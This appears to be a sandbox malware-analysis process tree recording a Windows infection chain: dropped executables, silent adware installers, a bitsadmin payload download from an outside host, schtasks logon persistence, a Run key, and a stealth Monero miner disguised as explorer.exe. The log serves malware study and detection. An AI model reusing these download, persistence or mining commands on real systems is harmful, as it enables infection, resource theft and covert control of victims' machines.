                                    • C:\Users\Admin\Documents\sDD53xiAFXf45j9jMPz5AqNg.exe
                                      "C:\Users\Admin\Documents\sDD53xiAFXf45j9jMPz5AqNg.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:5616
                                    • C:\Users\Admin\Documents\kUZysLnJ5VU1GTZZD0uqlySQ.exe
                                      "C:\Users\Admin\Documents\kUZysLnJ5VU1GTZZD0uqlySQ.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetWindowsHookEx
                                      PID:5608
                                      • C:\Users\Admin\Documents\kUZysLnJ5VU1GTZZD0uqlySQ.exe
                                        "C:\Users\Admin\Documents\kUZysLnJ5VU1GTZZD0uqlySQ.exe" -q
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetWindowsHookEx
                                        PID:1432
                                    • C:\Users\Admin\Documents\9avfIn5IigP_u4pj8JpAtsYA.exe
                                      "C:\Users\Admin\Documents\9avfIn5IigP_u4pj8JpAtsYA.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • Drops file in Program Files directory
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of SetWindowsHookEx
                                      PID:5916
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nssB398.tmp\tempfile.ps1"
                                        4⤵
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4396
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nssB398.tmp\tempfile.ps1"
                                        4⤵
                                          PID:6956
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nssB398.tmp\tempfile.ps1"
                                          4⤵
                                            PID:2256
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nssB398.tmp\tempfile.ps1"
                                            4⤵
                                              PID:6632
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nssB398.tmp\tempfile.ps1"
                                              4⤵
                                                PID:7096
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nssB398.tmp\tempfile.ps1"
                                                4⤵
                                                  PID:404
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nssB398.tmp\tempfile.ps1"
                                                  4⤵
                                                    PID:6524
                                                  • C:\Windows\SysWOW64\bitsadmin.exe
                                                    "bitsadmin" /Transfer helper http://fsstoragecloudservice.com/data/data.7z C:\zip.7z
                                                    4⤵
                                                    • Download via BitsAdmin
                                                    PID:5652
                                                • C:\Users\Admin\Documents\kGZKvxo6ms4BQ5U8cuw3ZTub.exe
                                                  "C:\Users\Admin\Documents\kGZKvxo6ms4BQ5U8cuw3ZTub.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  PID:5868
                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5868 -s 244
                                                    4⤵
                                                    • Program crash
                                                    • Checks processor information in registry
                                                    • Enumerates system info in registry
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:2312
                                                • C:\Users\Admin\Documents\LSBnF4NXGH5rmUEXTqMKoFvs.exe
                                                  "C:\Users\Admin\Documents\LSBnF4NXGH5rmUEXTqMKoFvs.exe"
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious use of SetWindowsHookEx
                                                  PID:5860
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c VC_redist.x64.exe /install /quiet
                                                    4⤵
                                                      PID:4092
                                                      • C:\Users\Admin\Documents\VC_redist.x64.exe
                                                        VC_redist.x64.exe /install /quiet
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • Suspicious use of SetWindowsHookEx
                                                        PID:4104
                                                    • C:\Windows\SysWOW64\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c VC_redist.x86.exe /install /quiet
                                                      4⤵
                                                        PID:6864
                                                        • C:\Users\Admin\Documents\VC_redist.x86.exe
                                                          VC_redist.x86.exe /install /quiet
                                                          5⤵
                                                            PID:5628
                                                            • C:\Windows\Temp\{B289DA0A-836C-4A8A-9DA1-4168C58199BA}\.cr\VC_redist.x86.exe
                                                              "C:\Windows\Temp\{B289DA0A-836C-4A8A-9DA1-4168C58199BA}\.cr\VC_redist.x86.exe" -burn.clean.room="C:\Users\Admin\Documents\VC_redist.x86.exe" -burn.filehandle.attached=576 -burn.filehandle.self=584 /install /quiet
                                                              6⤵
                                                                PID:4660
                                                                • C:\Windows\Temp\{59B2F177-22F7-4427-AD66-990CDA6B21D9}\.be\VC_redist.x86.exe
                                                                  "C:\Windows\Temp\{59B2F177-22F7-4427-AD66-990CDA6B21D9}\.be\VC_redist.x86.exe" -q -burn.elevated BurnPipe.{399B689F-8033-46E5-B5E3-289A96EBE609} {75AEF579-016F-4CB3-A9BE-3D80B684C0EC} 4660
                                                                  7⤵
                                                                    PID:5508
                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4660 -s 868
                                                                    7⤵
                                                                    • Program crash
                                                                    PID:6724
                                                            • C:\Users\Admin\AppData\Local\Temp\InstallShadowVPN.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\InstallShadowVPN.exe"
                                                              4⤵
                                                                PID:7024
                                                                • C:\Users\Admin\AppData\Local\Temp\installer.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\installer.exe"
                                                                  5⤵
                                                                    PID:6024
                                                                    • C:\Users\Admin\AppData\Local\Temp\is-RJB75.tmp\installer.tmp
                                                                      "C:\Users\Admin\AppData\Local\Temp\is-RJB75.tmp\installer.tmp" /SL5="$6030C,1158062,843264,C:\Users\Admin\AppData\Local\Temp\installer.exe"
                                                                      6⤵
                                                                        PID:2088
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 7024 -s 492
                                                                      5⤵
                                                                      • Program crash
                                                                      PID:5056
                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 7024 -s 1356
                                                                      5⤵
                                                                      • Program crash
                                                                      PID:6920
                                                                • C:\Users\Admin\Documents\n06BeJZiAJ9ZGyBXLy2bju0A.exe
                                                                  "C:\Users\Admin\Documents\n06BeJZiAJ9ZGyBXLy2bju0A.exe"
                                                                  3⤵
                                                                  • Executes dropped EXE
                                                                  • Suspicious use of SetWindowsHookEx
                                                                  PID:6052
                                                                  • C:\Users\Admin\AppData\Local\Temp\is-GIFT8.tmp\n06BeJZiAJ9ZGyBXLy2bju0A.tmp
                                                                    "C:\Users\Admin\AppData\Local\Temp\is-GIFT8.tmp\n06BeJZiAJ9ZGyBXLy2bju0A.tmp" /SL5="$202CC,138429,56832,C:\Users\Admin\Documents\n06BeJZiAJ9ZGyBXLy2bju0A.exe"
                                                                    4⤵
                                                                    • Executes dropped EXE
                                                                    • Loads dropped DLL
                                                                    • Suspicious use of FindShellTrayWindow
                                                                    • Suspicious use of SetWindowsHookEx
                                                                    PID:5556
                                                                    • C:\Users\Admin\AppData\Local\Temp\is-LM76P.tmp\Setup.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\is-LM76P.tmp\Setup.exe" /Verysilent
                                                                      5⤵
                                                                      • Executes dropped EXE
                                                                      • Drops file in Program Files directory
                                                                      • Suspicious use of SetWindowsHookEx
                                                                      PID:3800
                                                                      • C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
                                                                        "C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
                                                                        6⤵
                                                                        • Executes dropped EXE
                                                                        • Suspicious use of SetWindowsHookEx
                                                                        PID:1344
                                                                        • C:\Users\Admin\AppData\Local\Temp\is-LTI9T.tmp\MediaBurner2.tmp
                                                                          "C:\Users\Admin\AppData\Local\Temp\is-LTI9T.tmp\MediaBurner2.tmp" /SL5="$30308,506086,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
                                                                          7⤵
                                                                          • Executes dropped EXE
                                                                          • Loads dropped DLL
                                                                          • Suspicious use of SetWindowsHookEx
                                                                          PID:5492
                                                                          • C:\Users\Admin\AppData\Local\Temp\is-UNCCA.tmp\3377047_logo_media.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\is-UNCCA.tmp\3377047_logo_media.exe" /S /UID=burnerch2
                                                                            8⤵
                                                                              PID:6644
                                                                              • C:\Program Files\Windows NT\ZEVHKBCHQY\ultramediaburner.exe
                                                                                "C:\Program Files\Windows NT\ZEVHKBCHQY\ultramediaburner.exe" /VERYSILENT
                                                                                9⤵
                                                                                  PID:3612
                                                                                  • C:\Users\Admin\AppData\Local\Temp\is-KS6L5.tmp\ultramediaburner.tmp
                                                                                    "C:\Users\Admin\AppData\Local\Temp\is-KS6L5.tmp\ultramediaburner.tmp" /SL5="$90250,281924,62464,C:\Program Files\Windows NT\ZEVHKBCHQY\ultramediaburner.exe" /VERYSILENT
                                                                                    10⤵
                                                                                      PID:4140
                                                                                      • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                                                                        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                                                                        11⤵
                                                                                          PID:2428
                                                                                    • C:\Users\Admin\AppData\Local\Temp\ec-91e8d-2f4-3d8a4-dbd8bdaa020ca\Mopimukoxe.exe
                                                                                      "C:\Users\Admin\AppData\Local\Temp\ec-91e8d-2f4-3d8a4-dbd8bdaa020ca\Mopimukoxe.exe"
                                                                                      9⤵
                                                                                        PID:6860
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
                                                                                          10⤵
                                                                                            PID:6172
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.107 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.62 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fffd8a646f8,0x7fffd8a64708,0x7fffd8a64718
                                                                                              11⤵
                                                                                                PID:6624
                                                                                          • C:\Users\Admin\AppData\Local\Temp\f0-47c04-84b-db29a-3783c8f0e7b9f\Qaevemishifu.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\f0-47c04-84b-db29a-3783c8f0e7b9f\Qaevemishifu.exe"
                                                                                            9⤵
                                                                                              PID:6884
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lgayu3ic.jk0\GcleanerEU.exe /eufive & exit
                                                                                                10⤵
                                                                                                  PID:2560
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\f4ezw0of.tpb\installer.exe /qn CAMPAIGN="654" & exit
                                                                                                  10⤵
                                                                                                    PID:2244
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\f4ezw0of.tpb\installer.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\f4ezw0of.tpb\installer.exe /qn CAMPAIGN="654"
                                                                                                      11⤵
                                                                                                        PID:6488
                                                                                                        • C:\Windows\SysWOW64\msiexec.exe
                                                                                                          "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\f4ezw0of.tpb\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\f4ezw0of.tpb\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628932158 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
                                                                                                          12⤵
                                                                                                            PID:2076
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1lm122iq.23c\ufgaa.exe & exit
                                                                                                        10⤵
                                                                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                        PID:7100
                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\od0fu1ax.ney\anyname.exe & exit
                                                                                                        10⤵
                                                                                                          PID:3856
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\od0fu1ax.ney\anyname.exe
                                                                                                            C:\Users\Admin\AppData\Local\Temp\od0fu1ax.ney\anyname.exe
                                                                                                            11⤵
                                                                                                              PID:6804
                                                                                                              • C:\Users\Admin\AppData\Local\Temp\od0fu1ax.ney\anyname.exe
                                                                                                                "C:\Users\Admin\AppData\Local\Temp\od0fu1ax.ney\anyname.exe" -q
                                                                                                                12⤵
                                                                                                                  PID:1492
                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 1492 -s 792
                                                                                                                    13⤵
                                                                                                                    • Program crash
                                                                                                                    PID:5412
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\areua4by.v3l\gcleaner.exe /mixfive & exit
                                                                                                              10⤵
                                                                                                                PID:6176
                                                                                                      • C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe
                                                                                                        "C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"
                                                                                                        6⤵
                                                                                                        • Executes dropped EXE
                                                                                                        PID:5796
                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5796 -s 236
                                                                                                          7⤵
                                                                                                          • Program crash
                                                                                                          • Checks processor information in registry
                                                                                                          • Enumerates system info in registry
                                                                                                          PID:6844
                                                                                                      • C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe
                                                                                                        "C:\Program Files (x86)\GameBox INC\GameBox\askinstall53.exe"
                                                                                                        6⤵
                                                                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                        • Executes dropped EXE
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                        PID:5380
                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5380 -s 1792
                                                                                                          7⤵
                                                                                                          • Program crash
                                                                                                          PID:3696
                                                                                                      • C:\Program Files (x86)\GameBox INC\GameBox\GameBox.exe
                                                                                                        "C:\Program Files (x86)\GameBox INC\GameBox\GameBox.exe"
                                                                                                        6⤵
                                                                                                          PID:3216
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' & exit
                                                                                                            7⤵
                                                                                                              PID:6700
                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"'
                                                                                                                8⤵
                                                                                                                • Creates scheduled task(s)
                                                                                                                PID:6768
                                                                                                            • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                                                                                              "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                                                                                              7⤵
                                                                                                                PID:1492
                                                                                                              • C:\Users\Admin\AppData\Roaming\Services.exe
                                                                                                                "C:\Users\Admin\AppData\Roaming\Services.exe"
                                                                                                                7⤵
                                                                                                                  PID:1596
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"' & exit
                                                                                                                    8⤵
                                                                                                                      PID:6044
                                                                                                                      • C:\Windows\system32\schtasks.exe
                                                                                                                        schtasks /create /f /sc onlogon /rl highest /tn "Services" /tr '"C:\Users\Admin\AppData\Roaming\Services.exe"'
                                                                                                                        9⤵
                                                                                                                        • Creates scheduled task(s)
                                                                                                                        PID:5188
                                                                                                                    • C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
                                                                                                                      "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
                                                                                                                      8⤵
                                                                                                                        PID:6608
                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-asia1.nanopool.org:14433 --user=42Lm2CeGer8hubckgimBBXhKWRnZqtLx74Ye2HcyMyikARReDxWRn15Bia1k8qgnboPNxEZJHN5HgX8eNa1EP7xeA3X8Z7s --pass= --cpu-max-threads-hint=50 --donate-level=5 --cinit-idle-wait=5 --cinit-idle-cpu=80 --nicehash --tls --cinit-stealth
                                                                                                                        8⤵
                                                                                                                          PID:5192
                                                                                                                    • C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe
                                                                                                                      "C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe"
                                                                                                                      6⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                      PID:2080
                                                                                                                      • C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe
                                                                                                                        "C:\Program Files (x86)\GameBox INC\GameBox\zhangfei.exe" -a
                                                                                                                        7⤵
                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                        PID:6904
                                                                                                                    • C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe
                                                                                                                      "C:\Program Files (x86)\GameBox INC\GameBox\note8876.exe"
                                                                                                                      6⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:5572
                                                                                                                    • C:\Program Files (x86)\GameBox INC\GameBox\Versiumresearch.exe
                                                                                                                      "C:\Program Files (x86)\GameBox INC\GameBox\Versiumresearch.exe"
                                                                                                                      6⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:4192
                                                                                                                      • C:\Users\Admin\AppData\Roaming\6891150.exe
                                                                                                                        "C:\Users\Admin\AppData\Roaming\6891150.exe"
                                                                                                                        7⤵
                                                                                                                          PID:7120
                                                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                                                            C:\Windows\system32\WerFault.exe -u -p 7120 -s 2272
                                                                                                                            8⤵
                                                                                                                            • Program crash
                                                                                                                            PID:4560
                                                                                                                        • C:\Users\Admin\AppData\Roaming\6280455.exe
                                                                                                                          "C:\Users\Admin\AppData\Roaming\6280455.exe"
                                                                                                                          7⤵
                                                                                                                          • Adds Run key to start application
                                                                                                                          PID:1736
                                                                                                                          • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                                            "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                                            8⤵
                                                                                                                              PID:3988
                                                                                                                          • C:\Users\Admin\AppData\Roaming\6446650.exe
                                                                                                                            "C:\Users\Admin\AppData\Roaming\6446650.exe"
                                                                                                                            7⤵
                                                                                                                              PID:6412
                                                                                                                            • C:\Users\Admin\AppData\Roaming\5975108.exe
                                                                                                                              "C:\Users\Admin\AppData\Roaming\5975108.exe"
                                                                                                                              7⤵
                                                                                                                                PID:5096
                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5096 -s 2328
                                                                                                                                  8⤵
                                                                                                                                  • Program crash
                                                                                                                                  PID:6244
                                                                                                                            • C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
                                                                                                                              "C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
                                                                                                                              6⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Loads dropped DLL
                                                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                                                              PID:2308
                                                                                                                              • C:\Windows\SysWOW64\msiexec.exe
                                                                                                                                "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1628932158 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
                                                                                                                                7⤵
                                                                                                                                  PID:2160
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\md9_1sjm.exe
                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\md9_1sjm.exe"
                                                                                                                        2⤵
                                                                                                                        • Executes dropped EXE
                                                                                                                        PID:4680
                                                                                                                    • C:\Windows\System32\sihclient.exe
                                                                                                                      C:\Windows\System32\sihclient.exe /cv 8PFJ7Xr/RkiQhw851r/usQ.0.2
                                                                                                                      1⤵
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      PID:4876
                                                                                                                    • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                      rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                      1⤵
                                                                                                                      • Process spawned unexpected child process
                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                      PID:2892
                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                        rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                        2⤵
                                                                                                                        • Loads dropped DLL
                                                                                                                        PID:4828
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 4828 -s 448
                                                                                                                          3⤵
                                                                                                                          • Drops file in Windows directory
                                                                                                                          • Program crash
                                                                                                                          • Checks processor information in registry
                                                                                                                          • Enumerates system info in registry
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:344
                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4828 -ip 4828
                                                                                                                      1⤵
                                                                                                                      • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                      PID:4100
                                                                                                                    • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                      1⤵
                                                                                                                        PID:1712
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 4568 -ip 4568
                                                                                                                        1⤵
                                                                                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                        PID:916
                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                        C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
                                                                                                                        1⤵
                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                        PID:5112
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 5388 -ip 5388
                                                                                                                        1⤵
                                                                                                                        • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                        PID:6132
                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 5344 -ip 5344
                                                                                                                        1⤵
                                                                                                                          PID:5380
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 5280 -ip 5280
                                                                                                                          1⤵
                                                                                                                          • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                          PID:5564
                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 5360 -ip 5360
                                                                                                                          1⤵
                                                                                                                            PID:3060
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 5328 -ip 5328
                                                                                                                            1⤵
                                                                                                                            • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                            PID:5644
                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 4112 -ip 4112
                                                                                                                            1⤵
                                                                                                                              PID:5984
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 5632 -ip 5632
                                                                                                                              1⤵
                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                              PID:5960
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 5868 -ip 5868
                                                                                                                              1⤵
                                                                                                                              • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                              PID:3968
                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 1432 -ip 1432
                                                                                                                              1⤵
                                                                                                                                PID:4528
                                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                                C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                                                                                                                                1⤵
                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                PID:4076
                                                                                                                              • C:\Windows\Temp\{CD37212B-4F5F-473E-978C-DF9ADC88A7A9}\.cr\VC_redist.x64.exe
                                                                                                                                "C:\Windows\Temp\{CD37212B-4F5F-473E-978C-DF9ADC88A7A9}\.cr\VC_redist.x64.exe" -burn.clean.room="C:\Users\Admin\Documents\VC_redist.x64.exe" -burn.filehandle.attached=584 -burn.filehandle.self=580 /install /quiet
                                                                                                                                1⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • Loads dropped DLL
                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                PID:5648
                                                                                                                                • C:\Windows\Temp\{B9B8ED8E-F0C5-482C-8C59-6CB7FA4773F1}\.be\VC_redist.x64.exe
                                                                                                                                  "C:\Windows\Temp\{B9B8ED8E-F0C5-482C-8C59-6CB7FA4773F1}\.be\VC_redist.x64.exe" -q -burn.elevated BurnPipe.{D51149BE-F0A0-4B20-BBEA-5024E56AD5CD} {DC0B5AF9-C616-4544-A18F-83C2B15C0C72} 5648
                                                                                                                                  2⤵
                                                                                                                                  • Executes dropped EXE
                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                  PID:6020
                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5648 -s 1408
                                                                                                                                  2⤵
                                                                                                                                  • Program crash
                                                                                                                                  PID:4628
                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 5200 -ip 5200
                                                                                                                                1⤵
                                                                                                                                • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                PID:5776
                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                                1⤵
                                                                                                                                  PID:1376
                                                                                                                                • C:\Windows\system32\vssvc.exe
                                                                                                                                  C:\Windows\system32\vssvc.exe
                                                                                                                                  1⤵
                                                                                                                                  • Suspicious use of NtCreateProcessExOtherParentProcess
                                                                                                                                  • Checks SCSI registry key(s)
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  PID:3060
                                                                                                                                • C:\Windows\system32\WerFault.exe
